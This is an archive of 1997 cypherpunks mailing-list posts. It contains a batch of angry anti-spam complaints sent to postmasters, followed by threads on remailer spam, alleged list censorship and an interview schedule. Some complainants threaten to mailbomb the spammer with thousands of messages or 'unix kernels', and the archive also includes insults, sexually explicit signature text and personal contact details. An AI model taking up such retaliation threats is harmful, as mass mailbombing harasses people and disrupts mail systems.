should be enough for them to remove me from their mailing list,
especially since I did not request to be on it in the first place.
Often this will result in the removal of the account in question.

I promised to follow up with this action if they repeated, and so
here it is.

I would apprecate a reply to this email within 1 week.

Sincerely,

Bryce Conner
==========================================================================
Received: (from nuucp@localhost) by gateway.ycrdi.com (8.7.3/8.6.12) id KAA13226; Thu, 6 Feb 1997 10:49:14 -0500 (EST)
From: ralph_muha@ycrdi.com (Ralph Muha)
Reply-To: ralph_muha@ycrdi.com
To: postmaster@dm.com, postmaster@telysis.com
Subject: Fwd: FREE OFFER !!
Date: 06 Feb 1997 15:54:01 GMT
Message-Id: <649199615.3797450@ycrdi.com>
Organization: Young Chang R & D Institute

please keep this crap out of my mailbox!
==========================================================================
Received: from koko (unverified [202.128.5.10]) by www.latte.net
 (EMWAC SMTPRS 0.83) with SMTP id <B0000002260@www.latte.net>;
 Fri, 07 Feb 1997 00:42:38 +1000
Message-Id: <B0000002260@www.latte.net>
Comments: Authenticated sender is <alex@latte.net>
From: "Alex Fields" <alex@latte.net>
Organization: Latte Net Communications
To: postmaster@dm.com
Date: Fri, 7 Feb 1997 00:53:45 +10
Subject: (Fwd) Delivery failure

tell this asshole to take me off his GD list.

thank you.

alex fields
==========================================================================
Received: from nwlink.com (ip061.tu1.nwlink.com [206.129.228.61]) by montana.nwlink.com (8.8.5/8.7.3) with SMTP id IAA02282; Thu, 6 Feb 1997 08:48:39 -0800 (PST)
From: Steve Greenfield <redbeard@nwlink.com>
To: freeway@206.222.107.196, freeway@dm.com, postmaster@dm.com
        postmaster@206.222.107.196, postmaster@dm1.com
Date: Thu, 06 Feb 1997 08:49:10 +0500
Message-Id: <yam6976.511.138150712@mail.nwlink.com>
Organization: Polymorph Digital Photography and Electronics
Subject: Please read and respond

I recieved the following unsolicited Email today. Please take the
appropriate action. I am sick and tired of receiving multiple
"junk" emails every day, despite the fact that my signature always
includes info indicating that I do not welcome them, and in fact
will not do business with anyone who does business this way.

<snipped>

--
Steve Greenfield
redbeard@nwlink.com
If you don't want my business, go ahead and junk Email.
If you never want income from me, go ahead and spam.
==========================================================================
Received: from gabubba.paradise.net (gabubba@adial095.paradise.net [205.216.68.95]) by q.paradise.net (8.7/8.6.12) with SMTP id MAA21198; Thu, 6 Feb 1997 12:18:13 -0500
Message-Id: <2.2.32.19970206171705.006d71c4@paradise.net>
Date: Thu, 06 Feb 1997 12:17:05 -0500
To: postmaster@206.222.107.196, postmaster@dm.com, postmaster@dm1.com
From: Bubba <gabubba@paradise.net>
Subject: Re: FREE OFFER !!

Dear Postmaster,

I received the following unsolicited e-mail, please ensure that this person
no longer sends unsolicited e-mail.  If I receive another message from this
user, I will refer it to the proper autorities for investigation as an
illegl scam.

<snipped>

   Bubba   "bubba69"  or "BearPiss" on IRC, Atlanta, Georgia, USA

   40 year old, big ol' cub's face fuckin', cigar smokin' tattooed
   leather top daddy bear, 6'2", 240#, 38" 501's, blue eyes, furry,
   BUSHY greying beard and 'stache, flags left black, red, and yellow,
   in Atlanta, GA

   If you enjoy bearcodes:  B8 f+ t+ w+  d+ g++ k++

==========================================================================
Received: by ip143.van5.pacifier.com with Microsoft Mail
	id <01BC142A.585245A0@ip143.van5.pacifier.com>; Thu, 6 Feb 1997 12:36:16 -0800
Message-Id: <01BC142A.585245A0@ip143.van5.pacifier.com>
From: Tony Foulke <tonyf@pacifier.com>
To: "'B0000010411@telysis3.telysis.com'"
	 <B0000010411@telysis3.telysis.com>,
        "'freeway@206.222.107.196'"
	 <freeway@206.222.107.196>,
        "'freeway@dm.com'" <freeway@dm.com>
Subject: RE: FREE OFFER !!
Date: Thu, 6 Feb 1997 12:36:11 -0800

This is a formal notice that bulk email is NOT to be sent to
tonyf@pacifier.com  It is not wanted.  Any UCE coming from you or any
clients of yours will be considered harassment.  Not only will a bill for
my service charge of $250 be received by you, but a criminal complaint
will be filed as well.

COMMERCIAL EMAIL IS NOT WANTED AT THIS ACCOUNT OR ANY OTHER ACCOUNT HELD
BY ANTHONY FOULKE.  This is your ONLY notice.

--Anthony Foulke

--
  All unsolicited commercial e-mail coming to this account is subject to a
     service charge of $250 per piece of mail. Sending any UCE to this
             account constitutes acceptance of these terms.
==========================================================================
Received: from localhost (snakeman@localhost) by thecore.com (8.7.1/8.7.1) with SMTP id SAA00892 for <root@dm.com>; Thu, 6 Feb 1997 18:22:58 -0500 (EST)
Date: Thu, 6 Feb 1997 18:22:58 -0500 (EST)
From: snakeman <snakeman@thecore.com>
To: root@dm.com
Subject: FREE OFFER !! (fwd)
Message-Id: <Pine.NEB.3.95.970206181747.503A-100000@guardian.thecore.com>

If you do not wish your mailbox to be flooded with complaints, and,
possibly, unix kernels - please take the appropriate action with
the below user who is spamming mailboxes. Any further posts from that user
will result in a campaign on Usenet to ban your site.
==========================================================================
Received: from h.m.ginsberg.worldnet.att.net ([207.146.7.96])
          by mtigwc01.worldnet.att.net (post.office MTA v2.0 0613 )
          with SMTP id AAA28725; Thu, 6 Feb 1997 21:45:53 +0000
Message-Id: <32FA50AF.4AAB@worldnet.att.net>
Date: Thu, 06 Feb 1997 16:44:15 -0500
From: "Howard M. Ginsberg" <h.m.ginsberg@worldnet.att.net>
Organization: Amateur Radio Operator W1HG/4
To: freeway@206.222.107.196
Cc: postmaster@telysis.com, freeway@dm.com
Subject: Re: FREE OFFER !!
References: <B0000008087@telysis3.telysis.com>

PLEASE IMMEDIATELY REMOVE ME FROM YOUR MAILING LIST.
ANY FURTHER E-MAILS FROM YOU WILL RESULT IN THE AUTOMATIC GENERATION OF
A MINIMUM OF 10,000+ E-MAILS TO YOU ON A DAILY BASIS.
THANK YOU FOR YOUR IMMEDIATE COOPERATION.
==========================================================================
Received: from localhost (8.8.4/8.8.4) with ESMTP id JAA16508; Thu, 6 Feb 1997 09:36:27 -0500
To: freeway@[206.222.107.196]
Cc: postmaster@dm.com, psinet-domain-admin@PSI.COM, hostinfo@PSI.COM,
        domain-fee-contact@PSI.COM, postmaster@TELYSIS.COM
Subject: JUNK: FREE OFFER !! (REMOVE DELETE UNSUBSCRIBE UN-SUBSCRIBE)
In-Reply-To: Message <B0000008087@telysis3.telysis.com> of
             "Sun, 28 Jan 1996 08:17:36 EST"
Date: Thu, 06 Feb 1997 09:36:26 -0500
Message-Id: <16506.855239786@interlog.com>
From: John R MacMillan <john@interlog.com>

Please remove me from your junk mailing list.  If you are not the
originator of this message, you may wish to know that a spammer is
making use of your mail system.  ISPs please consider having an
``Acceptable Use'' policy that forbids spamming.

This junk mail appears to be from:

freeway@206.222.107.196

To a junk mailing list maintained by:

freeway@dm.com

And appears to have been injected into the mail system at:

telysis3.telysis.com

Accordingly, the following addresses have been notified:

freeway@[206.222.107.196]
postmaster@dm.com
psinet-domain-admin@PSI.COM
hostinfo@psi.com
domain-fee-contact@PSI.COM
postmaster@TELYSIS.COM

Further mail from freeway@206.222.107.196 will be automatically
forwarded to the above addresses, and possibly to sites that maintain
lists of abusive spammers.  Mail from this address WILL NOT BE SEEN BY
ME.

This is an automated message.
==========================================================================
Received: from BHeaton (dtp01-21.txdirect.net [204.57.92.245]) by legend.txdirect.net (8.8.5/8.8.3) with SMTP id KAA18681; Thu, 6 Feb 1997 10:06:02 -0600 (CST)
Date: Thu, 6 Feb 1997 10:06:02 -0600 (CST)
Message-Id: <199702061606.KAA18681@legend.txdirect.net>
From: Brian D Heaton <bheaton@txdirect.net>
Subject: Re: FREE OFFER !! -- SPAM
To: freeway@206.222.107.196, freeway@dm.com, postmaster@telysis.com
Cc: abuse@psi.net, abuse@psi.com, postmaster@psi.net, postmaster@psi.com

Sirs,

        Remove me from all mailings managed by you company immediately.
This is my second request.  Any further mailings from your organization
will result in further action.

PSI - This network abuser is a client of your service.  I would appreciate
a notification of the action taken agains this organization.

                                BDH
==========================================================================
Received: from [207.8.3.19] by jump.net (8.8.4/BERK-6.8.11)
	id UAA08328; Thu, 6 Feb 1997 20:19:18 -0600 (CST)
Message-Id: <v01510100af20433e39a2@[207.8.2.23]>
Date: Thu, 6 Feb 1997 20:29:47 -0600
To: freeway@206.222.107.196, freeway@dm.com
From: netminder@jump.net (ERic V & Lisa S)
Subject: Re: FREE OFFER !!
Cc: postmaster@206.222.107.196

I don't want any free stuff.

In fact, I'm quite put out that I'm getting this junk.

I'm copying your postmaster on the off chance that it's not you, on the
hopes that you'll get a stern talking to or perhaps even removal from your
service.

Spamming like this is VERY frowned upon.

It appears (as I've now received several of these 'type REMOVE' type
messages) that someone is selling my email address.  I would appreciate, if
that is the case, that you send me their name and/or number and/or email
address so that I can let them know personally my feelings.

I also recommend, if that is indeed the case, that you contact the BBB and
your State Comptroller and see what can be done about capturing the
charlatans.

Good luck with the barrage of nasty messages you're about to receive.

ERic
==========================================================================
Received: (from egburr@localhost) by kiowa.wildstar.net (8.8.3/8.7.3) id IAA21628; Fri, 7 Feb 1997 08:53:09 -0600
From: Edward Burr <egburr@kiowa.wildstar.net>
Message-Id: <199702071453.IAA21628@kiowa.wildstar.net>
Subject: ABUSE (was: FREE OFFER !!)
To: freeway@206.222.107.196, root@206.222.107.196, postmaster@206.222.107.196
        abuse@206.222.107.196, twalton@ACSI.NET, postmaster@TELYSIS.COM,
        psinet-domain-admin@PSI.COM, info@DM1.COM, root@CLEVER.NET,
        root@ACSI.NET, postmaster@ACSI.NET, abuse@ACSI.NET
Date: Fri, 7 Feb 1997 08:53:09 -0600 (CST)
Cc: root@TELYSIS.COM, postmaster@TELYSIS.COM, abuse@TELYSIS.COM, root@dm.com,
        postmaster@dm.com, abuse@dm.com, root@DM1.COM, postmaster@DM1.COM,
        abuse@DM1.COM
In-Reply-To: <B0000008091@telysis3.telysis.com> from "freeway@206.222.107.196" at Jan 28, 96 08:17:40 am

Dear junk email spammer, please REMOVE ME FROM YOUR MAILING LIST
IMMEDIATELY.  I charge for reading unsolicited email advertising.
I did not sign up for this, and I should not have to request to
not be made a victim of this.  I have a limited amout of disk space
available to me, and your junk email is wasting some of it.

By the way, you really need to fix your clock; the current year
is 1997.

POSTMASTER/SYSADMIN: Please archive this notice in case I need
proof that I sent it and it was received at your site.  Thank you.

ACSI.NET         You are the last nameserved host along the route
                 to the originating IP address of this spam.
TELYSIS.COM      You are the originating mail server.
DM.COM (PSI.COM) You are who this spam is supposedly TO; this
                 indicates you are probably being used as a mail list
                 forwarder.
DM1.COM (CLEVER.NET) You are hosting this spammer's web site.

(offending junk email spam below...)

--/Edward Burr/-------------------+----------------------------------
| Senior, Science Education, OU   | Use of my e-mail address or URL |
| egburr@wildstar.net             | is restricted.  Visit my home   |
| http://www.wildstar.net/~egburr | page for details.               |
 \                               / \                               /
    \ Unless otherwise noted, all opinions here are solely my own./
==========================================================================
Received: from vfg-pa1-10.ix.netcom.com (vfg-pa1-10.ix.netcom.com [205.184.1.42]) by dfw-ix2.ix.netcom.com (8.6.13/8.6.12) with SMTP id XAA13579 for <postmaster@dm.com>; Thu, 6 Feb 1997 23:49:17 -0800
From: ISCHLANG@IX.NETCOM.COM
To: postmaster@dm.com
Subject: LEGAL WARNING
Date: Fri, 07 Feb 1997 06:48:17 GMT
Message-Id: <32fecec9.1097207@smtp.ix.netcom.com>

Dear Postmaster,
	On two other occasions I have requested to be removed from
your clients list, yet I am still receiving unsolicited email
advertising from them. This is in direct violation of US CODE TITLE 47
under which I may collect 500 dollars for each occurrence. Please look
into this and get back to me prior to my filing charges against you
and your client for this continued harassment.
==========================================================================
Received: (from hazmat@localhost) by nsa.ecosoft.com (8.8.3/8.8.3) id JAA02044; Thu, 6 Feb 1997 09:17:22 -0500 (EST)
From: Ken W <hazmat@shore.net>
Message-Id: <199702061417.JAA02044@nsa.ecosoft.com>
Subject: Re: FREE OFFER !!
To: freeway@206.222.107.196, postmaster@telysis.com, postmaster@dm1.com
Date: Thu, 6 Feb 1997 09:17:22 -0500 (EST)
Cc: freeway@dm.com
In-Reply-To: <B0000008257@telysis3.telysis.com> from "freeway@206.222.107.196" at Jan 28, 1996 08:23:34 AM

This is a spam is is hopefully grounds for immediate termination
of your account.  People like you make the Internet a place that
is not very fun anymore.


<snipped>

--
hazmat@shore.net               http://www.shore.net/~hazmat
Shore.Net Web Administration
webmaster@shore.net            http://www.shore.net/

 "...and the number of the beast is vivivi...."
==========================================================================
Received: from [206.80.13.141] (sfmax2-141.ppp.wenet.net [206.80.13.141]) by mom.hooked.net (8.8.0/8.7.3) with ESMTP id NAA20127 for <postmaster@dm.com>; Thu, 6 Feb 1997 13:13:34 -0800 (PST)
X-Sender: acates@mailhost.hooked.net
Message-Id: <l03010d00af1ff926c8b5@[206.80.13.141]>
Date: Thu, 6 Feb 1997 13:12:19 -0800
To: postmaster@dm.com
From: Alden Cates <acates@hooked.net>
Subject: "FREE OFFER !!" Junk e-mail

I tried to remove myself from this listing but I can't!!  I did NOT signup
to be on this list and I don't want this tye of crap in my e-mail box.  I
got a message saying that the address my "REMOVE: e-mail went to did not
get there.  I recently got this e-mail:
==========================================================================
Received: from RICHARD.COMP-UNLTD.COM (richard.comp-unltd.com [204.212.166.234]) by cu.imt.net (8.7.3/8.6.12) with ESMTP id IAA12115; Thu, 6 Feb 1997 08:28:34 -0700 (MST)
Message-Id: <199702061528.IAA12115@cu.imt.net>
From: "Richard Barndt" <richard@imt.net>
To: <freeway@dm.com>
Cc: <postmaster@dm.com>
Subject: REMOVE
Date: Thu, 6 Feb 1997 08:30:42 -0700

Offense under US code Title 47, Sec 227(b) (1) (C)
I have recently received UNSOLICITED and UNWANTED junk e-mail from an
individual who appears to be using your site.  A copy of that mail is
attached herewith.  Junk Mail is now regarded as the same as unwanted and
unsolicited junk faxes and telemarketing calls - all of which are now
ILLEGAL under US federal law:

     By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer
     meets the definition of a telephone fax machine. By Sec.227(b)
     (1)(C), it is unlawful to send any unsolicited advertisement to
     such equipment, punishable by action to recover actual monetary
     loss, or $500, whichever is greater, for EACH violation.

Please ensure this is stopped NOW.  You have been put on notice.  If you
confirm to me promptly that effective action has been taken against those
persons responsible, I will not take the matter further on this occasion.

If you do not provide me with such confirmation in a timely manner, or if
ANY further UNSOLICITED or UNWANTED junk mail should be received from your
site, I will instruct my attorney to issue a writ WITHOUT FURTHER NOTICE,
and the matter will then be pursued under federal law.  I will separately
notify your upstream providers as they may also be liable for violations
originating from your site.
==========================================================================
Received: from lawr40.static.usit.net (lawr40.static.usit.net [199.1.57.110]) by SMTP.USIT.NET (8.7.5/8.6.12) with SMTP id BAA14481; Fri, 7 Feb 1997 01:27:48 -0500 (EST)
From: sstutts@usit.net (THE Lone Wolf)
To: 206.222.107.196@abuse.networks.net, B0000008256@telysis3.telysis.com
        dm.com@abuse.networks.net, freeway@206.222.107.196, freeway@dm.com,
        postmaster@[206.222.107.196], postmaster@dm1.com,
        postmaster@telysis3.telysis.com,
        telysis3.telysis.com@abuse.networks.net
Subject: Offence under US code Title 47, Sec 227(b) (1) (C)
Date: Fri, 07 Feb 1997 06:15:55 GMT
Message-Id: <32fec88e.867280@smtp.usit.net>

I have recently received UNSOLICITED and UNWANTED junk e-mail from an
individual who appears to be using your site.  A copy of that mail is
attached herewith.  Junk Mail is now regarded as the same as unwanted
and unsolicited junk faxes and telemarketing calls - all of which are
now ILLEGAL under US federal law:

     By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer
     meets the definition of a telephone fax machine. By Sec.227(b)
     (1)(C), it is unlawful to send any unsolicited advertisement to
     such equipment, punishable by action to recover actual monetary
     loss, or $500, whichever is greater, for EACH violation.

Please ensure this is stopped NOW.  You have been put on notice.  If you
confirm to me promptly that effective action has been taken against those
persons responsible, I will not take the matter further on this occasion.

If you do not provide me with such confirmation in a timely manner, or if
ANY further UNSOLICITED or UNWANTED junk mail should be received from =
your
site, I may instruct my attorney to issue a writ WITHOUT FURTHER NOTICE,
and the matter will then be pursued under federal law.  I will separately
notify your upstream providers as they may also be liable for violations
originating from your site.
==========================================================================
Received: from gregspc (isabella-57.pagesz.net [208.194.157.57]) by pagesz.net (8.8.5/8.7.3) with SMTP id UAA08671; Thu, 6 Feb 1997 20:07:09 -0500
Message-Id: <32FA7D27.63AE@pagesz.net>
Date: Thu, 06 Feb 1997 19:53:59 -0500
From: Gregory Boop <gboop@pagesz.net>
To: 206.222.107.196@abuse.networks.net, abuse@206.222.107.196, abuse@dm.com
        abuse@dm1.com, abuse@telysis.com, abuse@telysis3.telysis.com,
        B0000008256@telysis3.telysis.com, dm.com@abuse.networks.net,
        freeway@206.222.107.196, freeway@dm.com, postmaster@206.222.107.196,
        postmaster@dm.com, postmaster@dm1.com, postmaster@telysis.com,
        postmaster@telysis3.telysis.com,
        telysis3.telysis.com@abuse.networks.net
Subject: Offence under US code Title 47, Sec 227(b) (1) (C)

I have recently received UNSOLICITED and UNWANTED junk e-mail from an
individual who appears to be using your site.  A copy of that mail is
attached herewith.  Junk Mail is now regarded as the same as unwanted
and unsolicited junk faxes and telemarketing calls - all of which are
now ILLEGAL under US federal law:

     By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer
     meets the definition of a telephone fax machine. By Sec.227(b)
     (1)(C), it is unlawful to send any unsolicited advertisement to
     such equipment, punishable by action to recover actual monetary
     loss, or $500, whichever is greater, for EACH violation.

Please ensure this is stopped NOW.  You have been put on notice.  If you
confirm to me promptly that effective action has been taken against
those
persons responsible, I will not take the matter further on this
occasion.

If you do not provide me with such confirmation in a timely manner, or
if
ANY further UNSOLICITED or UNWANTED junk mail should be received from
your
site, I will instruct my attorney to issue a writ WITHOUT FURTHER
NOTICE,
and the matter will then be pursued under federal law.  I will
separately
notify your upstream providers as they may also be liable for violations
originating from your site.
==========================================================================
Received: from kohn-b (cnc129043.concentric.net [206.173.9.43])
	by newman.concentric.net (8.8.5/(97/01/29 1.12))
	id IAA26653; Fri, 7 Feb 1997 08:01:05 -0500 (EST)
	[1-800-745-2747 The Concentric Network]
Message-Id: <199702071301.IAA26653@newman.concentric.net>
Reply-To: <bicker@concentric.net>
From: "Brian Charles Kohn" <bicker@concentric.net>
To: <abuse@dm.com>
Subject: Fw: FREE OFFER !!
Date: Fri, 7 Feb 1997 07:00:31 -0600

Please note that your subscriber "freeway" is sending out unsolicited
commercial solicitations.  Besides the legal issues, it is not appreciated.
 Please address this issue with your subscriber.
==========================================================================
Received: (from larry@localhost) by casper.tvinet.com (8.8.4/8.8.2) id QAA26259; Thu, 6 Feb 1997 16:51:18 -0800 (PST)
Date: Thu, 6 Feb 1997 16:51:16 -0800 (PST)
From: Larry Phillips <larry@casper.tvinet.com>
To: freeway@206.222.107.196, root@206.222.107.196, postmaster@206.222.107.196
Cc: freeway@dm.com, root@dm.com, postmaster@dm.com
Subject: Re: FREE OFFER !!
In-Reply-To: <B0000010696@telysis3.telysis.com>
Message-Id: <Pine.OSF.3.91.970206165006.25645A-100000@Casper>

Bugger off

==========================================================================
Received: from frankenputer (pmnet02-08.austin.texas.net [207.207.2.8]) by natashya.eden.com (8.8.5/8.8.1) with SMTP id SAA15421; Thu, 6 Feb 1997 18:58:00 -0600 (CST)
Message-Id: <3.0.32.19970206185637.009f1b40@mail.eden.com>
Date: Thu, 06 Feb 1997 18:56:40 -0600
To: postmaster@telysis.com, postmaster@dm.com
From: "John D. Webb" <jdwebb@logiclabs.com>
Subject: SPAM ABUSE: FREE OFFER !!

To whom it may concern,

I received this *unsolicited* SPAM mail originating from or referencing
your domain. I do *not* appreciate receiving such junk mail. I request that
you take whatever steps are necessary with the account holder to see that
they desist such abuses.

   Thank you,
   John Webb
==========================================================================
Date: Sat, 8 Feb 1997 11:06:21 -0500 (EST)
From: FZR400@aol.com
Message-Id: <970208110620_-1174326236@emout05.mail.aol.com>
To: postmaster@bwalk.dm.com
Subject: Re: Returned mail


SOMEONE AT THIS DOMAIN HAS BEEN SENDING UNSOLICITED E-MAIL ADVERTISING.
TELL THEM TO CEASE AND DESIST IMMEDIATELY.
Member, Internet Advertising Relief Association
http://users.aol.com/fzr400/junkmail.htm
==========================================================================
Received: from benicia60.castles.com (benicia60.castles.com [206.54.43.80]) by mustang.via.net (8.6.9/8.6.9) with SMTP id WAA26381; Sat, 8 Feb 1997 22:12:37 -0800
Message-Id: <199702090612.WAA26381@mustang.via.net>
Date: Sat, 08 Feb 1997 22:13:02 -0800
To: abuse@PSI.COM, root@CLEVER.NET, abuse@CLEVER.NET
From: Brad Albom <brada@via.net>
Subject: SPAM: FREE OFFER !!
Cc: freeway@dm.com

Hi-

This email is to notify you that one of the domains and/or
users that you are resolving for is sending SPAM email.
The email included below was unsolicited and unwelcome.
I presume that you have policies regarding this type of
activity and will take appropriate action.

Thank you,

<snipped>

-brad albom
Software Engineering Solutions, Inc
2685 Marine Way, Suite 1215, Mountain View, CA 94043
email: brada@sesinc.com  <- Office address
alt  : brada@via.net     <- Home address, checked more frequently
phone: (415) 969-0141
alt  : (707) 552-5248
==========================================================================

Meaw.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@as-node.jena.thur.de (Lutz Donnerhacke)
Date: Sun, 9 Feb 1997 05:38:57 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: lead remailer is shut down
In-Reply-To: <199702071958.LAA18779@peregrine.eng.sun.com>
Message-ID: <m0vtXHn-0003tuC@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text


* Ed Falk wrote:
> Can't remailers be written with basic spam safeguards?  I.e. no mass
> crossposts, limited # of posts by each individual client per day, etc.?

Yes, thay can, but using PGP is enough to filter out the majority of spammers.

-- 
|   Lutz Donnerhacke   +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax    |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sun, 9 Feb 1997 09:36:45 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <199702071813.SAA16692@mailhub.amaranth.com>
Message-ID: <Pine.OS2.3.95.970209123447.1348A-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 7 Feb 1997, William H. Geiger III wrote:

> I do find the accusation that Sandy blocked the posting of a message critizing
> the company he works for rather troubling. Though there are several
> possibilities:
> 
> 1 - It is just more FUD.
> 
> 2 - Snafu. As I am sure everyone here is aware of that this happend more often
>     than not with computer system.
> 
> 3 - It's true. This would be realy sad and probably do irreparable harm to
>     Sandy's reputation.
> 
> I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer on
> the cypherpunks list. :(

Count it as #3...  Sandy didn't pass my response to one of Vulis'
messages (asking for him to supply some evidence) to either list, and
e-mailed me, telling me about it.


|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMv4LFSKEMrE5tbrdAQGAJgP/XMOwPHGlEeyapjq/YboDKoJSAmasZulk
5nOyZGTZ4hVvb2L5EPTvRSFzKcqlxhBGPw/ww8aRjnKZjnubpeJ0xthxuLi6PQUC
IAhTbJnQhoZ6q6fxMr4mv9syi8B9NXO0w0OSs3qp8CPMWYA+09JAEsthsgvsuT8V
CQrRFWt5jGo=
=BLNH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>"Attila T. Hun" <attila@primenet.com>
Date: Sun, 9 Feb 1997 11:39:32 -0800 (PST)
To: zinc <cypherpunks@toad.com>
Subject: Re: lead remailer is shut down
In-Reply-To: <199702070340.UAA22677@infowest.com>
Message-ID: <199702091939.MAA15243@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:0339 zinc <zinc@zifi.genetics.utah.edu> said:

+i came in today to find they (university system admins) had pulled the
+plug on my machine.  this is all because some luser spammed usenet
+using the remailer on my machine.  thanks a lot.

+so, the lead remailer is gone for good; it lasted almost exactly one
+year. 

    that is the universal problem.  we make the remailer chains so they 
    guarantee privacy, but we cannot filter for spam...

    unless it is the last mixmaster in the chain.  it sounds like we
    need a postprocessor which can 

    1)  contain addresses and domain numbers of known spammers; 

    2)  log senders to obtain a usage profile (over a very short time, 
        and that is itself encrypted) which can spot enormous expansion 
        headers.  for instance, linda thompson is accusing a cypherpunk 
        [more like a cypherpunk hater] of faking her address on 
        threatening material to all 100 senators plus Al Bore; 

        interestingly, the perpetrator left enough information in the
        header, which was returned for addressing Al Bore incorrectly, 
        to be able to narrow the field; and,

    3)  most spamming seems to follow a pattern which it should be
        possible to scan for. the problem, of course, being that 
        "innocent" messages will potentially be trashed.

    whatever it takes, there are a finite number of sites which can host 
    remailer traffic.

    for instance, I have been debating whether or not we can afford the 
    load on our single T1 which is currently supporting 200 simultaneous 
    ppp connections plus some high-volume commerical web pages. We are 
    at least a year away from T3 due to lack of circuit facilities.

    let's figure a way to stop at least some of the abuse; you can not 
    stop the individual abuse, but does a spammer have any rights?

        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMv4nxb04kQrCC2kFAQHAngP+J+JRSKLXsLcug00moPK78brGzzmSTRVI
BQmHM9845OWXazbQVj6Q9+HiV5I+7wGY2INm7i6PI9ebNRptORfCTlHkmMzrwfmj
Ji/WzhDkJ0eRvmDwHxBuq5unqYLe9ACtMrOCGQo+EYywNcscsXKKuMvFKAPC/Bp8
M46FHO9AphM=
=NEYd
-----END PGP SIGNATURE-----
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sun, 9 Feb 1997 09:47:28 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Taking advantage of Newt's phone calls
Message-ID: <Pine.OS2.3.95.970209124421.1348B-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

It seems like Sprint's taking advantage of the tap on Newt's little
call there by advertising how Sprint Spectrum is private and no one
can listen in, with little "signal" graphics going from one SS phone
to another in DC...  Cute...

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMv4NVCKEMrE5tbrdAQFIpgQAsS87dmofyalpLJMJjIRk71KmZheEbhnJ
WNvCO2fvvxP5aURbeh/MwVV7KOL0hcISPVWoFXrP9HmWSuhc3X7TRCQKVGESTOzS
9z2TaTF8hcAV8PFN3CCReBU5p/6OUBLN85pMbgyk818hAMf9LRhnroauSzQlXtGz
iAhkvhlnBUg=
=eAZ+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Feb 1997 11:10:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <Pine.OS2.3.95.970209123447.1348A-100000@klinzhai.nanticoke.net>
Message-ID: <o0DV2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Gurski <mgursk1@umbc.edu> writes:
>
> On Fri, 7 Feb 1997, William H. Geiger III wrote:
>
> > I do find the accusation that Sandy blocked the posting of a message critiz
> > the company he works for rather troubling. Though there are several
> > possibilities:
> >
> > 1 - It is just more FUD.
> >
> > 2 - Snafu. As I am sure everyone here is aware of that this happend more of
> >     than not with computer system.
> >
> > 3 - It's true. This would be realy sad and probably do irreparable harm to
> >     Sandy's reputation.
> >
> > I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer
> > the cypherpunks list. :(
>
> Count it as #3...  Sandy didn't pass my response to one of Vulis'
> messages (asking for him to supply some evidence) to either list, and
> e-mailed me, telling me about it.

Please post Sandfart's e-mail to this mailing list.  Thank you.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Sun, 9 Feb 1997 10:05:15 -0800 (PST)
Subject: Ken Bass Interview Schedule Corrections
Message-ID: <199702091805.NAA10043@access4.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Schedule Correction ***

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

>> *** Monday, Feb. 10  ***  <<   Note the date correction
   *** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book. 

See http://isptv.digex.net/real.time.html for more information about "Real
